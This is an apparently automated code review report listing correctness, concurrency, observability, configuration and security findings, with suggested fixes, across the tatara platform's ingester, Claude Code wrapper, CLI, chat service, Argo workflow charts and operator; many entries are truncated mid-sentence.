• SCIP edges carry confidence/resolution only in the properties map, which the server never promotes to the typed columns, so every SCIP edge is silently recorded as 1.0/EXTRACTED - tatara-memory-repo-ingester/internal/scip/scip.go:112-121 [correctness]
• SCIP edges set Properties["confidence"]="0.98" and Properties["resolution"]="type_resolved" but leave the typed Edge.ConfidenceScore (0.0) and Edge.ConfidenceTier ("") empty. The tatara-memory server promotes confidence from the typed fields only: in pgstore.go Reconcile, `if sco
• fix: Set the typed fields on the SCIP Edge: ConfidenceScore: 0.98 (parse contract.ConfidenceFor or add a float helper), ConfidenceTier: contract.TierForScore(0.98). Keep the resolution string in Properties for provenance. Confirm the AST extract
• runSCIP pushes a GraphPush with no Extractor tag, so a SCIP ingest reconciles under the 'ast' origin and deletes/clobbers the native AST graph for the same files - tatara-memory-repo-ingester/cmd/tatara-ingest/run.go:134-151 [correctness]
• runSCIP forwards scip.Parse's GraphPush verbatim and Parse never sets Extractor. On the server, Reconcile defaults an empty Extractor to ExtractorAST and then DELETE FROM code_edges/code_entities WHERE repo=$1 AND file_path=$2 AND extractor='ast' for every file in the push befo
• fix: Give the SCIP ingest its own extractor origin (e.g. add contract.ExtractorSCIP = "scip" and set gp.Extractor in scip.Parse or in runSCIP). Add the matching constant to tatara-memory so reconcile scopes SCIP deletes to the scip origin and ne
• SCIP ingest emits no cross-repo SymbolRows despite SCIP being the natural source of provides/requires facts - tatara-memory-repo-ingester/internal/scip/scip.go:31-137 [correctness]
• The whole point of SCIP symbols is globally-unique cross-repo identifiers (package manager + version + descriptor), and the contract/server have a full SymbolRow provides/requires + cross_repo_symbols mechanism. But scip.Parse never populates GraphPush.Symbols. Definitions in a d
• fix: Emit SymbolRow{Role: RoleProvides, Symbol: , EntityID: entityID(...), SrcFile: doc.RelativePath, Lang, Kind} for each definition, and SymbolRow{Role: RoleRequires, ...} for references whose symbol resolves only via Index.Extern
• Hyperedge IDs built from possibly-empty h.SourceFile/h.ID can collide and create malformed deterministic ids - tatara-memory-repo-ingester/internal/semantic/parse.go:92-104 [algorithm]
• Hyperedge IDs are fmt.Sprintf("he:%s:%s:%s", repo, h.SourceFile, h.ID). Both h.SourceFile and h.ID come straight from LLM output with no normalization or non-empty check. If the model omits source_file (common; the schema marks it required but models drop it) two distinct hyper
• fix: Slugify h.SourceFile and h.ID (reuse slugLabel) before composing the id, and fall back to a hash of the member set + label when either is empty, so two genuinely different hyperedges cannot collide. Skip hyperedges with empty Members or few
• Hyperedge Members are not remapped through the concept-id table, so hyperedges over concept/rationale nodes dangle - tatara-memory-repo-ingester/internal/semantic/parse.go:76-104 [correctness]
• ParseFragment carefully remaps edge endpoints (Source/Target) from model-emitted node ids to canonical concept:: ids via remapID, precisely so edges to concept/rationale nodes are not dangling. But Hyperedge.Members (h.Nodes) are copied verbatim with no remap. A hyper
• fix: Map each member through remapID before assigning: members := make([]string, len(h.Nodes)); for j, m := range h.Nodes { members[j] = remapID(m) }. Add a test asserting concept members are rewritten to canonical ids, mirroring TestParseFrag
• PushChunks job poll loop has no deadline; can spin forever - tatara-memory-repo-ingester/internal/push/push.go:52-61 [concurrency]
• The poll loop only exits on ctx.Done() or job.Terminal(). In production ctx is context.Background() (cmd/tatara-ingest/main.go:42), which never cancels and the HTTP client timeout only bounds a single request, not the loop. If the server keeps returning a non-terminal status (e.g
• fix: Bound the wait: either derive a context.WithTimeout (e.g. context.WithTimeout(ctx, someMaxJobWait)) around the poll loop, or add a max-elapsed / max-poll-count guard that returns a timeout error. The cron Job activeDeadlineSeconds is a back
• A single transient poll GET error aborts the entire ingest - tatara-memory-repo-ingester/internal/push/push.go:58-60 [error-handling]
• Inside the poll loop, any error from the GET /ingest-jobs/{id} (network blip, 502 from an ingress, momentary 503) is returned immediately and fails the whole ingest, even though the server-side job is still progressing and would have completed. The POST already succeeded (202), s
• fix: Retry transient poll failures a bounded number of times (with backoff) before giving up, or treat a poll-read error as 'keep polling until the deadline' rather than terminal. Distinguish 4xx (job gone -> fail) from 5xx/network (retry).
• Unreadable semantic miss files are purged server-side with no replacement - tatara-memory-repo-ingester/cmd/tatara-ingest/run.go:210-263 [correctness]
• misses is the full list the server flagged for re-extraction. The load loop skips files that fail os.ReadFile (continue, not added to loaded/fileSHAs), but the semantic GraphPush still sends Files: misses (the full list including the unreadable ones). The server scopes its per-sr
• fix: Send Files as only the files actually loaded/extracted (the keys of fileSHAs / the loaded set), not the full misses list, so purge scope matches what was re-extracted. Build a loadedPaths slice alongside loaded and pass that as Files.
• Memory pushes (PushGraph/PushChunks POST) are not retried on transient errors - tatara-memory-repo-ingester/internal/push/push.go:82-113 [error-handling]
• do() performs exactly one request and returns the error on any non-2xx or transport failure. The LLM client retries once on 429/5xx, but the primary data path (POST /code-graph:bulk, POST /memories:bulk) has zero retry. A momentary 503 from tatara-memory (rolling deploy, brief un
• fix: Wrap do() with a small retry helper that retries idempotent-by-idempotency-key POSTs and the GET on 429/5xx and transport errors, with bounded attempts and backoff (mirroring internal/llm). The /memories:bulk path is safe to retry because i
• contentSHA follows symlinks: SHA mismatch with git blob and reads outside the repo - tatara-memory-repo-ingester/internal/walk/walk.go:111-119 [security]
• git ls-files / git diff list symlinks as tracked paths, but git stores a symlink's blob as the link TARGET TEXT, not the target's file content. contentSHA does os.ReadFile, which follows the symlink and hashes the pointed-to file's content. So (a) the content_sha never matches th
• fix: Use os.Lstat to detect symlinks and skip them (return ""), or read the link itself (os.Readlink) and hash the link text to match git semantics. The semantic loader at run.go:214 should apply the same guard so it never reads through a symlin

tatara-claude-code-wrapper (14)¶

• Complete() correlates a Stop hook to whatever turn is current, with no turn-ID match -> wrong-turn/lost-turn on stale or duplicate hooks - tatara-claude-code-wrapper/internal/session/session.go:584-624 [correctness]
• Complete blindly completes mgr.current. HookResult carries SessionID (and the package doc claims it 'correlates Stop-hook callbacks') but the SessionID is only Debug-logged (line 616-618) and never used to match. The Stop hook fires asynchronously over HTTP (httpapi/internal.go -
• fix: Carry the wrapper turn id through to the hook and back (e.g. inject it via a transcript marker or settings the hook reads, return it in HookResult.TurnID) and in Complete reject when r.TurnID != mgr.current (return a 409/no-op). At minimum,
• bootWait runs synchronously inside watch()/relaunch() and can block the recovery goroutine for the full BootTimeout while sleeping with time.Sleep - tatara-claude-code-wrapper/internal/session/session.go:272-318, 414 [concurrency]
• relaunch() calls bootWait synchronously (line 414), and watch() calls relaunch synchronously, so the watch goroutine is blocked in bootWait's polling loop (time.Sleep(poll), up to BootTimeout, default 60s) before it can call resumeTurn or return. During this entire window the in-
• fix: Plumb the manager's lifecycle context into bootWait and select on ctx.Done() so shutdown/supersession aborts a hung boot promptly; keep the recovery path responsive. Acceptable as-is only if BootTimeout is kept small, but the 60s default ma
• handleExit is dead production code kept only for a legacy test path, violating no-tech-debt / KISS - tatara-claude-code-wrapper/internal/session/session.go:480-515 [tech-debt]
• handleExit duplicates the death-handling logic of watch() but with the old 'fail immediately, no relaunch' semantics. Its own comment says it exists only because SimulateExitForTest calls it directly, bypassing watch(). Production never calls handleExit (the only call site is the
• fix: Delete handleExit and rewrite the legacy tests (TestClaudeExit_FailsInFlightTurnAndFiresCallback) to exercise the real watch() path via a fakeProc kill (as recover_test.go already does), so there is a single death-handling code path. Tests
• store.Complete/Fail return values discarded; an ErrNotFound silently mis-transitions state and fires a nil/garbage callback - tatara-claude-code-wrapper/internal/session/session.go:610, 471, 501, 633 [error-handling]
• Every store.Complete/store.Fail call discards its error with '_ ='. If the record is missing (id present in mgr.current but absent from the store, e.g. after a Store reset or a correlation bug), Complete returns ErrNotFound, but the manager still calls clearCurrentLocked(Ready),
• fix: Check the returned error; if store.Complete/Fail returns ErrNotFound, log at ERROR with the turn_id and do NOT bump the success metrics or fire a phantom completion. The 'cannot happen' assumption is exactly the kind hard rule 4 says to sur
• Transcript tailer is started once on the first Complete and never re-followed after a crash/relaunch swaps the transcript path - tatara-claude-code-wrapper/internal/session/session.go:596-609 [observability]
• tailerStarted is a one-shot latch: the tailer.Follow goroutine starts on the first Complete that carries a TranscriptPath and is never restarted. After a crash+relaunch with --continue, claude writes a NEW transcript file (different sessionId -> different .jsonl path); the hook r
• fix: Detect transcript path changes and re-point the tailer (cancel the old Follow, start a new one on the new path), or have Follow itself handle path rotation. At minimum, log a WARN when transcriptPath changes while a tailer is already runnin
• Shutdown writes Ctrl-C and Closes the PTY but does not wait; relaunch racing Shutdown can spawn a fresh proc after stopping is set - tatara-claude-code-wrapper/internal/session/session.go:345-358, 392-416, 673-698 [concurrency]
• Shutdown sets stopping=true and state=Dead under the lock, then closes the PTY. But a watch() goroutine that has already passed its stopping check (line 348) and is mid-relaunch will spawn a NEW claude process (relaunch line 393 reads shouldResume and spawns without re-checking s
• fix: Re-check mgr.stopping under the lock inside relaunch() after spawn (and before wiring the new proc) - if stopping, Close the freshly spawned proc and return without rewiring or starting watch/bootWait. Have Shutdown also signal a done chann
• installSkills copyFile drops executable bit on baked skill scripts - tatara-claude-code-wrapper/internal/bootstrap/skills.go:45-58 [correctness]
• copyFile uses os.Create (mode 0666 & umask = 0644) and never preserves the source file mode. Several baked skills ship executable scripts (templates/skills/systematic-debugging/find-polluter.sh, writing-skills/render-graphs.js, brainstorming/scripts/start-server.sh and stop-serve
• fix: Stat the source (or use the FileInfo already passed to copyTree's WalkFunc) and chmod the destination to info.Mode().Perm(), or open the dest with os.OpenFile(dst, O_WRONLY|O_CREATE|O_TRUNC, info.Mode().Perm()). copyTree already has info in
• Primary clone/checkout failure swallowed in multi-repo mode when REPO_URL is unset - tatara-claude-code-wrapper/internal/bootstrap/bootstrap.go:78-101 [correctness]
• Render decides whether a clone/mkdir/namespace failure is fatal by comparing r.URL == p.RepoURL. In cross-repo mode the operator sets TATARA_REPOS and the primary is Repos[0] (see cmd/wrapper/app.go:53-56), but REPO_URL/p.RepoURL can be empty (config.go:73 defaults it to ""; the
• fix: Identify the primary by position in multi-repo mode (i == 0 of p.Repos) rather than by r.URL == p.RepoURL, or have buildBootstrapParams set p.RepoURL = p.Repos[0].URL when Repos is non-empty. Then a primary clone failure is always escalated
• CommitAndPushAll lacks the empty-namespace guard, can git-add the workspace root - tatara-claude-code-wrapper/internal/bootstrap/repo.go:50-58 [correctness]
• CommitAndPushAll computes dir = filepath.Join(workspace, namespacePath(r.URL)) with no guard, unlike Render (bootstrap.go:78) and repoDirs (hooks.go:34) which both skip entries whose namespacePath is "" or resolves to the workspace root. A repo whose URL yields an empty namespace
• fix: Reuse the same guard: skip any repo where namespacePath(r.URL) == "" or filepath.Clean(filepath.Join(workspace, ns)) == filepath.Clean(workspace). Factor the guard into a shared helper since it is now needed in three places (Render, repoDir
• tatara MCP server double-registered under two keys (tatara-memory and tatara) - tatara-claude-code-wrapper/internal/bootstrap/mcp.go:16-57 [simplification]
• mergeMCP always writes the baked base entry, which the chart sets to mcpServers.tatara-memory = {command:tatara, args:[mcp]} (charts/.../values.yaml:37). Then cmd/wrapper/app.go:45 runs RegisterTataraMCP, whose tatara mcp-config adds a SECOND entry mcpServers.tatara = {command:
• fix: Drop the tatara-memory entry from the chart baseMcp (set baseMcp to {"mcpServers":{}}) and rely solely on RegisterTataraMCP, or conversely drop RegisterTataraMCP and keep only the baked entry. One source of truth, one tatara mcp server.
• Bootstrap clone/checkout/commit-push emit no INFO business log and no metrics - tatara-claude-code-wrapper/internal/bootstrap/bootstrap.go:62-141 [observability]
• Render performs the core fallible business actions of the pod (configure git, clone each repo, resume/checkout the task branch, write MCP/settings/claude.json/skills) with zero slog output and zero metrics. There is no INFO log on a successful clone or branch-resume, no counter f
• fix: Thread a *slog.Logger and the metrics struct into bootstrap. Emit INFO per repo clone/resume with fields {repo, branch, action, duration_ms} and a counter+duration histogram (e.g. ccw_bootstrap_clone_total{result}, ccw_bootstrap_duration_se
• StreamEventsTotal counter labelled with attacker/model-controlled type string - tatara-claude-code-wrapper/internal/transcript/tailer.go:202-213 [observability]
• For non-message transcript lines the stream_type label (and the StreamEventsTotal metric) is set to the raw JSON type field straight from the transcript, which is content claude/the model writes and is unbounded. Every distinct type value mints a new Prometheus time series (c
• fix: Clamp the metric label to a known set, e.g. map any entry.Type not in {"system","summary","user","assistant"} to "other" before calling t.incCounter; keep the full entry.Type in the log line (logs are not cardinality-bound) but never feed u
• Public API mutating actions are not logged at INFO with request_id/user/duration_ms - tatara-claude-code-wrapper/internal/httpapi/messages.go:18-58 [observability]
• Hard rule 12 requires every business action logged at INFO with structured fields (request_id, user, action, resource_id, duration_ms). The HTTP business actions (POST /v1/messages, POST /v1/interject, DELETE /v1/session) emit no request-level log at all. obs.RequestLogger exists
• fix: Add a logging middleware that injects chi/middleware.RequestID, builds an obs.RequestLogger with request_id + user (from auth.ClaimsFromContext) + route/method/status/duration_ms, and logs each request at INFO on completion; or call Request
• cc-stop-hook does not retry the internal POST and exits 0 on failure, stranding the turn until timeout - tatara-claude-code-wrapper/cmd/cc-stop-hook/main.go:39-49 [error-handling]
• The Stop hook is the only signal that a turn finished. If the single POST to the internal endpoint fails (wrapper still booting its internal listener, transient connection refused, 5xx) the hook just prints to stderr and exits 0. There is no retry and the response status code is
• fix: Wrap the POST in a small bounded retry loop (e.g. 3-5 attempts, 200ms-1s backoff) and treat resp.StatusCode >= 300 as a retryable failure (mirroring webhook.post). Keep os.Exit(0) so claude is never blocked, but make a best-effort to actual

tatara-cli (4)¶

• Invoke drops the response-body read error, returning a possibly-truncated body as success - tatara-cli/internal/mcp/tools.go:705-710 [error-handling]
• After a successful (2xx/3xx) HTTP status, Invoke reads the body with buf, _ := io.ReadAll(resp.Body) and discards the read error. If the connection drops mid-stream (server crash, proxy reset, TLS truncation) the agent silently receives a truncated/empty JSON body that looks li
• fix: Capture and propagate the read error: buf, err := io.ReadAll(resp.Body); if err != nil { return nil, fmt.Errorf("tatara: %s %s: read body: %w", method, path, err) } placed after the status check (so error bodies are still read for the >=4
• Tool dispatch logs nothing at INFO and emits no metrics for the fallible/timed HTTP path - tatara-cli/internal/mcp/server.go:69-85 [observability]
• Every tool call is a business action that hits a remote REST backend (can fail, can time out, has a duration), yet the dispatch handler logs only on error (s.log.Error) and records no INFO line and no metric. Hard rule 12 requires every business action logged at INFO with structu
• fix: Wrap the Invoke call: record start time, log s.log.Info("tool call", "tool", t.Name, "target", t.Target, "duration_ms", elapsed, "status", ok|error) on every call, and increment a prometheus CounterVec{tool,result} plus observe a HistogramV
• Client.token read/written without synchronization while MCP runs handlers on a 5-goroutine pool - tatara-cli/internal/client/client.go:20-131 [concurrency]
• Client has no mutex. Do() reads c.token (line 90-91) and ensureFresh() writes c.token (lines 117, 126) on every request. The MCP server (mcp.go) builds three Clients and hands them to mcp.NewServer; mcp-go's stdio transport dispatches tool handlers from a worker pool (default wor
• fix: Add a sync.Mutex to Client guarding token reads in Do and the whole ensureFresh critical section, so the refresh+assign is atomic per Client and the bearer-header read is race-free. This also collapses duplicate concurrent refreshes within
• RefreshToken treats any non-200 as a generic error; invalid_grant (expired refresh token) is not distinguished, so MCP keeps retrying a dead session - tatara-cli/internal/auth/refresh.go:34-36 [error-handling]
• On a 400 invalid_grant (refresh token expired/revoked) the function returns fmt.Errorf("auth: refresh %d: %s", ...). Callers (client.ensureFresh) wrap and return it, but nothing maps this to a terminal 'must re-login' signal. In the MCP server every subsequent tool call re-enters
• fix: Parse the OAuth error body; return a sentinel (e.g. ErrRefreshExpired wrapping invalid_grant) so ensureFresh/MCP can stop retrying and surface a clear 're-run tatara login' message instead of looping refresh calls.

tatara-chat (7)¶

• sendMessage permits kind="system" from any participant, forging lifecycle notices - tatara-chat/internal/chat/handler.go:370-377 [correctness]
• validKinds includes "system" and sendMessage accepts kind=system from any caller (slices.Contains passes). System messages are the channel's trusted lifecycle notices ("room closed by orchestrator", "room auto-archived after inactivity"). The store's AddMessage sets author_id to
• fix: Reject kind="system" on the user-facing send path (only message is a valid client kind); reserve system for the store's internal inserts. Or require the orchestrator role to post system. Drop "system" from validKinds for the request validat
• OTLP tracer provider is built then discarded; tracing is dead end-to-end - tatara-chat/cmd/tatara-chat/app.go:64-68 [observability]
• buildObs constructs the tracer provider via obs.TracerProvider, which returns a fully-functional *sdktrace.TracerProvider with a batching OTLP exporter when OTLP_ENDPOINT is set. But the provider value is discarded (_, stop, err := ...) and never installed via otel.SetTracerPro
• fix: Capture the provider (tp, stop, err := obs.TracerProvider(...)), call otel.SetTracerProvider(tp) and set a propagator, and wrap the chi router (or its middleware chain) with otelhttp.NewHandler so spans are actually produced. Otherwise
• obs.New / Obs bundle and RequestLogger/RequestFields are dead code, duplicating buildObs - tatara-chat/internal/obs/obs.go:18-68 [simplification]
• obs.New, the Obs struct, RequestLogger and RequestFields are defined and tested but never called from production code. cmd/tatara-chat/app.go assembles logger+registry+tracer by hand in buildObs instead of using obs.New, so there are two parallel ways to construct the observabili
• fix: Either route buildObs through obs.New and use RequestLogger in AccessLog to attach the standard fields, or delete obs.New/Obs/RequestLogger/RequestFields. Pick one path; do not keep both.
• httpapi.WriteJSON is dead; httpapi error envelope diverges from chat error body - tatara-chat/internal/httpapi/errors.go:8-25 [simplification]
• httpapi.WriteJSON is never called anywhere. httpapi.WriteError is called only once (from Recover). Meanwhile the chat package ships its own WriteError/WriteJSON in internal/chat/httpx.go with a different envelope: httpapi uses {error, request_id} while chat uses {error, field, hi
• fix: Delete httpapi.WriteJSON (unused). Unify the error envelope: either have Recover emit the same {error, field, hint} shape, or add request_id to the chat envelope and use one shared writer. One error contract for the whole API.
• AccessLog logs raw URL path (UUID leakage) and omits the required user field - tatara-chat/internal/httpapi/middleware.go:82-89 [observability]
• Two problems. (1) The access log records both route = r.URL.Path (the concrete path, e.g. /rooms//messages) and route_pattern = the templated route. The raw-path field defeats the cardinality protection the templated pattern exists for and writes room/participant UUIDs
• fix: Drop the raw route field (keep only the templated route_pattern), or rename and keep just one. Move AccessLog to run after auth (or have it read auth.ClaimsFromContext) and add user to the record so rule 12 is satisfied on the access pa
• Recover middleware swallows the panic with no ERROR log, stack, or metric - tatara-chat/internal/httpapi/middleware.go:64-73 [error-handling]
• On panic the middleware writes a 500 JSON body but never logs the recovered value or stack and increments no metric. A panicking handler is therefore invisible in logs (only the generic access-log 500 line appears) and there is no panic counter. Hard rules 12/13 require ERROR log
• fix: In the recover branch, slog.ErrorContext with request_id, the recovered value, and debug.Stack(), and increment a panics_total counter. Re-panic on http.ErrAbortHandler so the server's own handling is preserved.
• Long-poll request contexts are not cancelled on shutdown, starving the 30s shutdown budget - tatara-chat/cmd/tatara-chat/app.go:31-50 [concurrency]
• shutdown calls server.Shutdown(shutdownCtx) with a 30s timeout, but http.Server.Shutdown waits for in-flight requests to finish and does NOT cancel their r.Context(). pollMessages blocks on pollWithWait(r.Context(), ...) for up to MaxPollWait (default 30s). So a single in-flight
• fix: Give the http.Server a BaseContext returning a cancellable context, cancel it BEFORE calling server.Shutdown so in-flight long-polls observe ctx.Done() and return promptly, then Shutdown drains the now-fast connections. Also stop discarding

cross-cutting (15)¶

• All argo-workflows ClusterWorkflowTemplate containers lack resource requests/limits - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-go-ci.yaml:62-107 [config-chart]
• Every container across cwt-go-ci, cwt-container-build, cwt-go-release, cwt-helm-publish, cwt-helmfile-deploy, cwt-github-status, and cwt-tatara-memory-tag has no resources block. CI build/test/kaniko/goreleaser pods are CPU- and memory-hungry; without requests they are BestQoS an
• fix: Add a resources block (requests + limits) to each container, ideally driven by values.yaml scalars (e.g. resources.buildCpu etc. rendered per template), so the CI workloads are at least Burstable and bounded.
• argo-workflows volumeClaimTemplates hardcode storageClassName rook-ceph-rwx - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-container-build.yaml:18-26 [config-chart]
• Every workflow template's workspace volumeClaimTemplate pins storageClassName: rook-ceph-rwx (also in cwt-go-ci, cwt-go-release, cwt-helm-publish, cwt-helmfile-deploy, cwt-tatara-memory-tag). Rule 14 forbids baking storage class into a chart; this couples the chart to a Ceph clus
• fix: Add a values scalar (e.g. workspaceStorageClass) defaulting to "" and render storageClassName from it; let the deploying helmfile set rook-ceph-rwx. Apply across all five CWTs.
• tatara-claude-code-wrapper Deployment has empty resources (no requests/limits) - tatara-claude-code-wrapper/charts/tatara-claude-code-wrapper/values.yaml:57 [config-chart]
• values.yaml sets resources: {} and deployment.yaml renders it verbatim, so wrapper pods run with no requests or limits (BestEffort QoS). The wrapper supervises a full Claude Code PTY session and is the highest-churn workload in the platform; unbounded pods on untainted nodes are
• fix: Set sensible defaults in values.yaml (requests cpu/memory + a memory limit), matching the pattern in tatara-memory/tatara-chat/operator charts.
• tatara-claude-code-wrapper Deployment sets no pod or container securityContext - tatara-claude-code-wrapper/charts/tatara-claude-code-wrapper/templates/deployment.yaml:17-62 [security]
• Unlike the operator, memory, and chat charts (which set runAsNonRoot, drop ALL caps, allowPrivilegeEscalation:false, readOnlyRootFilesystem), the wrapper Deployment has neither podSecurityContext nor containerSecurityContext, and values.yaml defines no such keys. The wrapper runs
• fix: Add podSecurityContext / containerSecurityContext values keys and render them in the Deployment as the other charts do. The agent likely needs a writable workspace (it mounts a PVC at /workspace), so readOnlyRootFilesystem may need tuning,
• tatara-memory-repo-ingester Job lacks resources, securityContext, and namespace; ingester has no /metrics - tatara-memory-repo-ingester/charts/tatara-memory-repo-ingester/templates/job.yaml:13-25 [config-chart]
• The ingest Job container has no resources (BestEffort, eviction-prone for a clone+ingest workload), no pod/container securityContext (runs root, no cap drop), and metadata omits namespace (relies on the apply context). There is also no ServiceMonitor/metrics path at all for the i
• fix: Add resources (requests/limits) and pod/container securityContext to the Job spec, add namespace: {{ .Release.Namespace }} to metadata for consistency with the other charts, and either push ingest metrics to a pushgateway or document why th
• Workflow parameters interpolated into shell + curl URL enable command injection and SSRF - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-github-status.yaml:40-58 [security]
• Argo substitutes {{inputs.parameters.X}} as raw text into the shell script body BEFORE the container runs it, so repo/sha/state/context/description/targetUrl are spliced unquoted into shell code and into the curl target URL. A repo or sha value containing shell metacharacters (e.
• fix: Pass workflow params to the container as env vars (env: - name: REPO valueFrom fieldRef/parameter) and reference "\(REPO"/"\)SHA" quoted in the script instead of templating param text directly into the shell. Validate repo matches ^[\w.-]+/[\
• A transient GitHub status POST failure on the first step kills the whole CI/build run - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-github-status.yaml:59-63 [error-handling]
• report-pending is step 1 of every pipeline (go-ci/go-release/helm-publish/helmfile-deploy/container-build) and the report template exit 1s on any non-201 from GitHub. There is no retryStrategy anywhere in the chart, so one flaky GitHub API response (rate-limit 403, 5xx, network
• fix: Add retryStrategy: {limit: 3, retryPolicy: OnError, backoff: {duration: 10s, factor: 2}} to the report template, and make the pending-status step non-fatal to the pipeline (e.g. continueOn: {failed: true} on the report-pending step, or ex
• No retryStrategy on any clone/build/push/deploy step; transient registry or network errors fail CI - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-container-build.yaml:90-131 [error-handling]
• Every fallible step (git clone over network, kaniko push to harbor, helm push, helm registry login, helmfile sync, goreleaser release) runs exactly once with no retry. Hard rule 13 calls for handling everything that can fail; harbor/network flakes are common in this homelab (the
• fix: Add a retryStrategy (limit 2-3, retryPolicy: OnError, exponential backoff) to the network-touching templates (clone, build-push, package-push, sync, goreleaser), or set a workflow-level retryStrategy on the templates that push to harbor.
• No CPU/memory requests or limits on any build/test/release container - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-go-ci.yaml:97-107 [config-chart]
• None of the containers (go test -race, golangci-lint, kaniko, goreleaser, helm, helmfile) declare resources.requests/limits (the only resources: blocks in the chart are PVC storage requests). These run in the tatara namespace on shared (control-plane-pinned per MEMORY agent-pod
• fix: Add resources.requests and resources.limits to each build/test/release container (e.g. requests cpu 500m/mem 512Mi, limits cpu 2/mem 4Gi for go test/kaniko; smaller for status/helm steps). Surface the values via values.yaml scalars rather t
• MCP code_path advertises repo as optional but the memory server requires it (always 400 when omitted) - tatara-cli/internal/mcp/tools.go:201-203 [correctness]
• The code_path MCP tool declares only from and to as required and passes repo as an OPTIONAL key to codeGet (so an omitted repo yields a request URL with no repo param). The server handler handleShortestPath calls reqRepo() first, which returns HTTP 400 'repo query parameter
• fix: Make repo required in the code_path tool: move it from the optional list to the required list in codeGet and add it to the schema required array. (Or, if cross-repo shortest-path is intended, relax handleShortestPath to not require repo
• Multiple code-graph MCP tools claim repo is optional but every server handler requires it - tatara-cli/internal/mcp/tools.go:204-233 [correctness]
• code_important, code_stats, code_ambiguous_edges, code_explain, code_related, code_hyperedges, code_communities, code_bridges all pass repo as an optional key (and their descriptions say 'optionally filtered by repo'), but the corresponding server handlers (handleImportantEntit
• fix: Either make repo required in all these tools (move repo to required list + schema.required, and correct the 'optionally filtered by repo' wording), or, if global/cross-repo queries are the intended product behavior, change the server hand
• Ingester emits zero Prometheus metrics despite countable, fallible, timed work (rule 13) - tatara-memory-repo-ingester/cmd/tatara-ingest/run.go:43-271 [observability]
• tatara-memory-repo-ingester has no prometheus dependency anywhere in production code (grep for 'prometheus' over the repo returns nothing). It runs as a Kubernetes Job (charts/.../templates/job.yaml) just like the wrapper, but unlike the wrapper it has no metrics and no push path
• fix: Add an internal/metrics package (counters for ingest_files_total/ingest_entities_total/ingest_push_errors_total by stage, a histogram for ingest_stage_duration_seconds by stage) and reuse the wrapper's pushclient pattern to POST the gathere
• Operator REST API mutating handlers log nothing at INFO and emit no metrics (rules 12, 13) - tatara-operator/internal/restapi/handlers.go:118-560 [observability]
• The restapi.Server has no logger field and no metrics (server.go:19-27 struct is just {c client.Client; ns string}). Every agent-facing business mutation goes through this package with zero INFO logging and zero metrics: patchTask (Status().Update on a Task), createSubtask (Creat
• fix: Add Logger *slog.Logger and Metrics *obs.OperatorMetrics to restapi.Config/Server, wire them in wire.go:85, and on each mutating handler emit an INFO log (action, resource_id=task/subtask name, decision/outcome, duration_ms) plus a counter
• Shared webhook+REST HTTP listener has no access-log, request-id, or HTTP metrics middleware (rules 12, 13) - tatara-operator/cmd/manager/wire.go:66-91 [observability]
• addWebhookServer builds httpMux := chi.NewRouter() and mounts the webhook routes and the OIDC REST API on it, but never installs any middleware: no RequestID, no AccessLog, no per-request http_requests_total / http_request_duration_seconds / http_in_flight (unlike tatara-memory a
• fix: Add request-id + access-log + http-metrics middleware (reuse the memory/chat middleware shape) onto httpMux before mounting the route groups, and register the http metrics on the controller-runtime metrics registry.
• Wrapper public HTTP router has no access-log, request-id, or HTTP request metrics middleware (rules 12, 13) - tatara-claude-code-wrapper/internal/httpapi/api.go:54-101 [observability]
• API.Router() and InternalRouter() build chi routers and mount the v1 endpoints (POST /v1/messages, /v1/interject, GET /v1/session, /v1/transcript, DELETE /v1/session) and the internal /internal/turn-complete, but install no AccessLog, no RequestID, and no http_requests_total/dura
• fix: Install request-id + access-log + http-metrics middleware on the public Router (and at least access-log on InternalRouter) mirroring the tatara-memory/tatara-chat stack so every wrapper HTTP request is logged with request_id/route/status/du

LOW severity (152)¶

tatara-operator (54)¶

• Each turn-complete callback runs two full namespace List calls (recordUsage + recordResult both call resolveTaskByTurn) - tatara-operator/internal/controller/turncallback.go:83-103, 112-134, 182-197 [efficiency] - Resolve the Task once in handleTurnComplete (single resolveTaskByTurn / List) and pass the resolved *Task (or at least its name/namespace) into recordUsage and recordResult so the
• expireTimedOutTurn marks Phase=Failed but leaves annCurrentTurn set, so a late callback can still resolve and stamp the Failed task - tatara-operator/internal/controller/turncallback.go:262-289 [correctness] - In expireTimedOutTurn, delete annCurrentTurn, annTurnStartedAt and annTurnComplete on the Task (in the same Update, before/with the status write) so the expired turn can no longer
• finishImplement hand-rolls the Implement->MRCI transition, duplicating setLifecycleState's log+metric+update logic - tatara-operator/internal/controller/lifecycle.go:1127-1162 [simplification] - Write the side fields (HeadBranch, PRNumber, clear DeadlineAt) in the RetryOnConflict block without touching LifecycleState, then call r.setLifecycleState(ctx, task, "MRCI", "imple
• Empty-Implement retries double-count: each resetAgentRun re-enters handleImplement and increments LifecycleIterations on top of ImplementEmptyRetries - tatara-operator/internal/controller/lifecycle.go:922-967, 1073-1086 [algorithm] - Decide which counter owns the empty-retry budget and don't double-charge: e.g. only increment LifecycleIterations on a fresh spawn that is NOT an empty-retry re-spawn (skip the inc
• maxIterations backstop comment error silently discarded with blank assignment - tatara-operator/internal/controller/lifecycle.go:930-934 [error-handling] - Capture the error and log non-fatally plus record the metric, matching the file's other best-effort comments: `if cerr := writer.Comment(...); cerr != nil { l.Error(cerr, "implemen
• finishTriage re-fetches token/reader and re-lists issue comments across authorship and human-comment checks - tatara-operator/internal/controller/lifecycle.go:647-700 [efficiency] - Build the token+reader once and pass them (or pass an already-fetched comment list) into both checks, or fold the human-comment determination into the authorship check that already
• handleConversation nil-deadline safety net hardcodes 60 min, ignoring ConversationIdleMinutes config - tatara-operator/internal/controller/lifecycle.go:798-822 [config-chart] - Pass project into handleConversation (the dispatcher already holds it) and reuse the same idleMinutes resolution as enterConversation, or factor a shared resolveConversationIdleMin
• parsePRNumber discards strconv.Atoi error, mapping any non-numeric trailing segment to 0 - tatara-operator/internal/controller/lifecycle.go:1231-1241 [error-handling] - On Atoi error, log at WARN with the offending prURL and resource_id so a parse miss is diagnosable rather than presenting as an unexplained no-pr-number park, e.g. `n, err := strco
• maybeMarkHandoverResume sets the resume annotation and the Handover status in two separate updates; partial failure leaves an inconsistent task - tatara-operator/internal/controller/lifecycle.go:1504-1542 [correctness] - Persist Status.Handover FIRST, then set the resume annotation last. Then a failure after the status write leaves Handover set but the annotation unset, which is safe (no resume att
